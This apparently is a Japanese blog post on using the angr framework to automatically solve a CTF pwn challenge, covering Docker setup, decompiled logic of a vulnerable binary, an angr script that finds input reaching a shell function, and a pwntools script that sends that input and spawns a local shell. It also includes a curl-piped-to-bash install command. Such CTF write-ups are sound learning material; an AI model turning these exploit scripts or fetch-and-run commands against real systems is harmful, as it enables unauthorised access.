実際には、D0g3 ラボの i0gan 師匠が auto pwn のバイナリ掘削の例を紹介しているのを見て、何が起こるのか非常に興味があります。
1.angr python フレームワーク#
What is angr?
angr はバイナリを分析するための python フレームワークです。静的および動的シンボリック(「concolic」)分析の両方を組み合わせており、さまざまなタスクに適用できます。
これは、UCサンタバーバラのコンピュータセキュリティラボ、アリゾナ州立大学のSEFCOM、彼らの関連CTFチームであるShellphish、オープンソースコミュニティ、@rhelmotによって提供されています。
concolicは単語concrete(具体)とsymbolic(シンボリック)の混合体です。concolicテストは、シンボリック実行(プログラム変数をシンボル化された変数として扱う)と具体的実行(具体的な入力を含む)を同時に使用する混合型のソフトウェア検証技術です。
2.angr 環境のデプロイ#
install docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
docker pull
docker pull angr/angr
./setup.sh -i -e angr
# dockerでangrを使用する方法
docker run -itd --name angr angr/angr
docker exec -it angr bash
su angr # rootユーザーにはangrの環境がないため、angrユーザーに切り替える必要があります
#! /bin/sh
# Author: i0gan
# docker angrを起動するためのスクリプト
pwd=`pwd`
if [[ $1 < 2 ]];then
echo "Usage angr script.py"
exit
fi
script = $1
docker run -it \
-u angr \
--rm \
-v $(pwd)/${ctf_name}:/ctf/work \
-w /ctf/work angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/ctf/work/$script" $2 $3
docker run -it \
--rm \
-v $(pwd)/${ctf_name}:/ctf/work \
-p 23946:23946 \
--privileged \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
pwndocker
3.angr の初歩#
4.PWN 問題の自動掘削の例#
成信 D0g3 師匠が迅速に対応する問題を提供してくれたことに感謝します;
root@DESKTOP-4VN4G0C:/Desktop/pwn# checksec pwn1
[*] '/Desktop/pwn/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
IDA に対応する逆アセンブルコード、次にその論理を分析します:
int sub_804870E()
{
int result; // eax
char v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+1Ch] [ebp-Ch]
result = atoi(&input);// '\n'の場合はデフォルトでcase 0、他に1,2、その他の分岐があります
v2 = result;
switch ( result )
{
case 1:
puts("logging out...");
result = ~dword_804A06C;
dword_804A06C = ~dword_804A06C;
break;
case 2:
if ( dword_804A06C )
result = sub_80486F5(); // シェルを反発
else
result = puts("please log in");
break;
case 0:
puts("input your passwd:");
result = sub_804859B((int)&v1, 16); // 理論的にはパスワードを入力するが、マッチしないとパスワードがいくつか分からない
dword_804A06C = 1; // シェルを反発するための重要な変数
break;
}
return result;
}
D0g3 の師匠が提案した方法は、angr フレームワークを使用してシェル関数にジャンプすることです。赤色にジャンプできれば良いのです。
target_addr = 0x08048783
import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')
def angr_main():
pj = angr.Project('./pwn1')
state = pj.factory.entry_state()
simgr = pj.factory.simgr(state)
simgr.explore(find = 0x08048783) # シェルを呼び出す
p = simgr.found[0].posix.dumps(0)
print(b2a_hex(p).decode(), end='')
angr_main()
root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/pwn1 1e40bd134aa7:/home
root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/script.py 1e40bd134aa7:/home
from pwn import *
import os
from binascii import a2b_hex
io = process('./pwn1')
print('Solving...')
payload = a2b_hex('310a320a')
io.send(payload)
print('Get shell')
io.sendline(b'whoami')
io.interactive()
import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')
def angr_main():
pj = angr.Project('./find_flag')
state = pj.factory.entry_state()
simgr = pj.factory.simgr(state)
simgr.explore(find = 0x1229) # シェルを呼び出す
p = simgr.found[0].posix.dumps(0)
print(b2a_hex(p).decode(), end='')
angr_main()
この記事は xLog というプラットフォームのテストに関するもので、今後は CTF のバイナリ方向には参加しないかもしれませんが、興味深い議題やテーマには引き続き注目するかもしれません。